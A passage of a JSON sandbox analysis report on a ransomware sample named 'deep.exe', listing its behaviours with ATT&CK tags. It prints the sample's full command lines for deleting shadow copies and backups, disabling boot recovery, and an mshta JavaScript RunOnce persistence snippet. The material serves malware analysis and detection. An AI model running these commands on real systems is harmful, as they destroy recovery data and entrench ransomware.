\"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.2.etl\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.1.etl\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"wbadmin.exe\" opened \"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.0.etl\" with delete access"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" opened \"%APPDATA%\\deep.exe\" with delete access"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Security","identifier":"registry-27","type":3,"relevance":10,"name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","description_v2":["\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"],"description_v3":[{"type":"text","value":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"}],"origin":"Registry Access","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Security","identifier":"registry-36","type":3,"relevance":8,"name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","description_v2":["\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"],"description_v3":[{"type":"text","value":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-4","type":0,"relevance":10,"name":"Entrypoint in PE header is within an uncommon section","description":"\"deep.exe.bin\" has an entrypoint in section \"iccgbqzr\"","description_v2":["\"deep.exe.bin\" has an entrypoint in section \"iccgbqzr\""],"description_v3":[{"type":"text","value":"\"deep.exe.bin\" has an entrypoint in section \"iccgbqzr\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"string-64","type":2,"relevance":10,"name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"SysFreeString\" (Source: deep.exe.bin, API is part of module: OLEAUT32.DLL)","description_v2":["Found string \"SysFreeString\" (Source: deep.exe.bin, API is part of module: OLEAUT32.DLL)"],"description_v3":[{"type":"text","value":"Found string \"SysFreeString\" (Source: deep.exe.bin, API is part of module: OLEAUT32.DLL)"}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-60","type":0,"relevance":10,"name":"PE file contains unusual section name","description":"\"deep.exe.bin\" has a section named \"\"\n \"deep.exe.bin\" has a section named \"feemnvdm\"\n \"deep.exe.bin\" has a section named \"iccgbqzr\"","description_v2":["\"deep.exe.bin\" has a section named \"\"","\"deep.exe.bin\" has a section named \"feemnvdm\"","\"deep.exe.bin\" has a section named \"iccgbqzr\""],"description_v3":[{"type":"text","value":"\"deep.exe.bin\" has a section named \"\""},{"type":"linebreak"},{"type":"text","value":"\"deep.exe.bin\" has a section named \"feemnvdm\""},{"type":"linebreak"},{"type":"text","value":"\"deep.exe.bin\" has a section named \"iccgbqzr\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Anti-Detection/Stealthyness","identifier":"target-6","type":9,"relevance":8,"name":"Tries to suppress failures during boot (often used to hide system changes)","description":"Tries to suppress failures during boot \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019096-00003444)\n Tries to suppress failures during boot \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019208-00003880)","description_v2":["Tries to suppress failures during boot \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019096-00003444)","Tries to suppress failures during boot \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019208-00003880)"],"description_v3":[{"type":"text","value":"Tries to suppress failures during boot \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\""},{"type":"process","process_uid":"00019096-00003444","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Tries to suppress failures during boot \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\""},{"type":"process","process_uid":"00019208-00003880","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Environment Awareness","identifier":"registry-6","type":3,"relevance":9,"name":"Reads the system/video BIOS version","description":"\"\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")\n \"\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","description_v2":["\"\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")","\"\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")"],"description_v3":[{"type":"text","value":"\"\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"SYSTEMBIOSVERSION\")"},{"type":"linebreak"},{"type":"text","value":"\"\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Environment Awareness","identifier":"binary-8","type":8,"relevance":5,"name":"The input sample contains a known anti-VM trick","description":"Found VM detection artifact \"VMware trick\" in \"deep.exe.bin\" (Offset: 2832719)","description_v2":["Found VM detection artifact \"VMware trick\" in \"deep.exe.bin\" (Offset: 2832719)"],"description_v3":[{"type":"text","value":"Found VM detection artifact \"VMware trick\" in \"deep.exe.bin\" (Offset: 2832719)"}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Installation/Persistance","identifier":"api-20","type":6,"relevance":7,"name":"Allocates virtual memory in a remote process","description":"\"\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1\"\n \"\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Rpc\\Extensions\"\n \"\" allocated memory in \"%WINDIR%\\System32\\winsta.dll\"\n \"\" allocated memory in \"HKCU\\Software\\Microsoft\\Notepad\"\n \"\" allocated memory in \"%WINDIR%\\System32\\IconCodecService.dll\"\n \"mshta.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FolderDescriptions\\{2B0F765D-C0E9-4171-908E-08A611B84FF6}\"\n \"mshta.exe\" allocated memory in \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2\\CPC\\Volume\\{8177f4e4-b53f-11e4-a9c2-806e6f6e6963}\"","description_v2":["\"\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1\"","\"\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Rpc\\Extensions\"","\"\" allocated memory in \"%WINDIR%\\System32\\winsta.dll\"","\"\" allocated memory in \"HKCU\\Software\\Microsoft\\Notepad\"","\"\" allocated memory in \"%WINDIR%\\System32\\IconCodecService.dll\"","\"mshta.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FolderDescriptions\\{2B0F765D-C0E9-4171-908E-08A611B84FF6}\"","\"mshta.exe\" allocated memory in \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2\\CPC\\Volume\\{8177f4e4-b53f-11e4-a9c2-806e6f6e6963}\""],"description_v3":[{"type":"text","value":"\"\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1\""},{"type":"linebreak"},{"type":"text","value":"\"\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Rpc\\Extensions\""},{"type":"linebreak"},{"type":"text","value":"\"\" allocated memory in \"%WINDIR%\\System32\\winsta.dll\""},{"type":"linebreak"},{"type":"text","value":"\"\" allocated memory in \"HKCU\\Software\\Microsoft\\Notepad\""},{"type":"linebreak"},{"type":"text","value":"\"\" allocated memory in \"%WINDIR%\\System32\\IconCodecService.dll\""},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FolderDescriptions\\{2B0F765D-C0E9-4171-908E-08A611B84FF6}\""},{"type":"linebreak"},{"type":"text","value":"\"mshta.exe\" allocated memory in \"\\REGISTRY\\USER\\S-1-5-21-4162757579-3804539371-4239455898-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2\\CPC\\Volume\\{8177f4e4-b53f-11e4-a9c2-806e6f6e6963}\""}],"origin":"API Call","attck_id":"T1055","capec_id":"CAPEC-242","attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Installation/Persistance","identifier":"api-0","type":6,"relevance":6,"name":"Writes data to a remote process","description":"$2d","description_v2":["\"\" wrote 32 bytes to a remote process \"C:\\deep.exe\" (Handle: 476)","\"\" wrote 52 bytes to a remote process \"C:\\deep.exe\" (Handle: 476)","\"\" wrote 4 bytes to a remote process \"C:\\deep.exe\" (Handle: 476)","\"\" wrote 32 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\deep.exe\" (Handle: 608)","\"\" wrote 52 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\deep.exe\" (Handle: 608)","\"\" wrote 4 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\deep.exe\" (Handle: 608)","\"\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 424)","\"\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 424)","\"\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 424)","\"\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 428)","\"\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 428)","\"\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 428)","\"\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 600)","\"\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 600)","\"\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 600)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wbadmin.exe\" (Handle: 84)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wbadmin.exe\" (Handle: 84)","\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wbadmin.exe\" (Handle: 84)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wbem\\WMIC.exe\" (Handle: 84)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wbem\\WMIC.exe\" (Handle: 84)","\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wbem\\WMIC.exe\" (Handle: 84)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\vssadmin.exe\" (Handle: 84)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\vssadmin.exe\" (Handle: 84)","\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\vssadmin.exe\" (Handle: 84)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\bcdedit.exe\" (Handle: 84)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\bcdedit.exe\" (Handle: 84)","\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\bcdedit.exe\" (Handle: 84)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\net.exe\" (Handle: 84)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\net.exe\" (Handle: 84)","\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\net.exe\" (Handle: 84)","\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\notepad.exe\" (Handle: 84)","\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\notepad.exe\" (Handle: 84)","\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\notepad.exe\" (Handle: 84)"],"description_v3":[{"type":"text","value":"\"\" wrote 32 bytes to a remote process \"C:\\deep.exe\" (Handle: 476)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 52 bytes to a remote process \"C:\\deep.exe\" (Handle: 476)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 4 bytes to a remote process \"C:\\deep.exe\" (Handle: 476)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 32 bytes to a remote process \"%APPDATA%\\deep.exe\" (Handle: 608)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 52 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\deep.exe\" (Handle: 608)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 4 bytes to a remote process \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\deep.exe\" (Handle: 608)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 424)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 424)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 424)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 428)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 428)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 428)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 600)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 600)"},{"type":"linebreak"},{"type":"text","value":"\"\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\mshta.exe\" (Handle: 600)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wbadmin.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wbadmin.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wbadmin.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\wbem\\WMIC.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\wbem\\WMIC.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\wbem\\WMIC.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\vssadmin.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\vssadmin.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\vssadmin.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\bcdedit.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\bcdedit.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\bcdedit.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\net.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\net.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\net.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\notepad.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\notepad.exe\" (Handle: 84)"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\notepad.exe\" (Handle: 84)"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Ransomware/Banking","identifier":"target-4","type":9,"relevance":10,"name":"Deletes volume snapshots (often used by ransomware)","description":"Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00019136-00003816)\n Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00019155-00004044)","description_v2":["Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00019136-00003816)","Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00019155-00004044)"],"description_v3":[{"type":"text","value":"Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\""},{"type":"process","process_uid":"00019136-00003816","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\""},{"type":"process","process_uid":"00019155-00004044","label":"Show Process"}],"origin":"Monitored Target","attck_id":"T1107","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Ransomware/Banking","identifier":"binary-9","type":8,"relevance":5,"name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"HOW TO RECOVER ENCRYPTED FILES.TXT\" which has been seen in the context of ransomware (Indicator: How To Recover Encrypted Files.txt)","description_v2":["Found dropped filename \"HOW TO RECOVER ENCRYPTED FILES.TXT\" which has been seen in the context of ransomware (Indicator: How To Recover Encrypted Files.txt)"],"description_v3":[{"type":"text","value":"Found dropped filename \"HOW TO RECOVER ENCRYPTED FILES.TXT\" which has been seen in the context of ransomware (Indicator: How To Recover Encrypted Files.txt)"}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"System Destruction","identifier":"target-85","type":9,"relevance":10,"name":"Deletes system state backups (often used by ransomware)","description":"Deletes system state backups using \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00019094-00001104)","description_v2":["Deletes system state backups using \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00019094-00001104)"],"description_v3":[{"type":"text","value":"Deletes system state backups using \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\""},{"type":"process","process_uid":"00019094-00001104","label":"Show Process"}],"origin":"Monitored Target","attck_id":"T1107","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"System Destruction","identifier":"target-4","type":9,"relevance":10,"name":"Deletes volume snapshots (often used by ransomware)","description":"Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00019136-00003816)\n Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00019155-00004044)","description_v2":["Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00019136-00003816)","Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00019155-00004044)"],"description_v3":[{"type":"text","value":"Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\""},{"type":"process","process_uid":"00019136-00003816","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\""},{"type":"process","process_uid":"00019155-00004044","label":"Show Process"}],"origin":"Monitored Target","attck_id":"T1107","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Unusual Characteristics","identifier":"target-14","type":9,"relevance":8,"name":"Spawns a lot of processes","description":"$2e","description_v2":["Spawned process \"\" (UID: 00015229-00002420)","Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" (UID: 00016417-00003944)","Spawned process \"\" with commandline \"runas\" (UID: 00016469-00003828)","Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\" (UID: 00017590-00003040)","Spawned process \"\" (UID: 00017674-00002524)","Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('deep.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\LMeWCFyUXhYBLR',i);}catch(e){}}","10);\"\" (UID: 00018756-00002344)","Spawned process \"mshta.exe\" with commandline \"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\IZXJ[\\\\CWBBP'));close();\"\" (UID: 00018763-00002328)","Spawned process \"cmd.exe\" with commandline \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00018995-00003448)","Spawned process \"cmd.exe\" with commandline \"/c wmic SHADOWCOPY DELETE\" (UID: 00019026-00003472)","Spawned process \"cmd.exe\" with commandline \"/c vssadmin Delete Shadows /All /Quiet\" (UID: 00019050-00003624)","Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} recoveryenabled No\" (UID: 00019063-00003736)","Spawned process \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00019094-00001104)","Spawned process \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019096-00003444)","Spawned process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00019136-00003816)","Spawned process \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00019155-00004044)","Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} recoveryenabled No\" (UID: 00019159-00003844)","Spawned process \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00019208-00003880)","Spawned process \"cmd.exe\" with commandline \"/C NET USE\" (UID: 00019705-00003780)","Spawned process \"net.exe\" with commandline \"NET USE\" (UID: 00019711-00003684)","Spawned process \"cmd.exe\" with commandline \"/c start /max notepad.exe \"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\" (UID: 00020827-00003560)","Spawned process \"mshta.exe\" with commandline \"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('deep.exe');close()}catch(e){}}","10);\"\" (UID: 00020855-00003552)","Spawned process \"notepad.exe\" with commandline \"\"%USERPROFILE%\\HOW TO RECOVER ENCRYPTED FILES.TXT\"\" (UID: 00020865-00003564)"],"description_v3":[{"type":"text","value":"Spawned process \"\""},{"type":"process","process_uid":"00015229-00002420","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/c copy /y \"C:\\deep.exe\" \"%APPDATA%\\deep.exe\"\""},{"type":"process","process_uid":"00016417-00003944","label":"Show 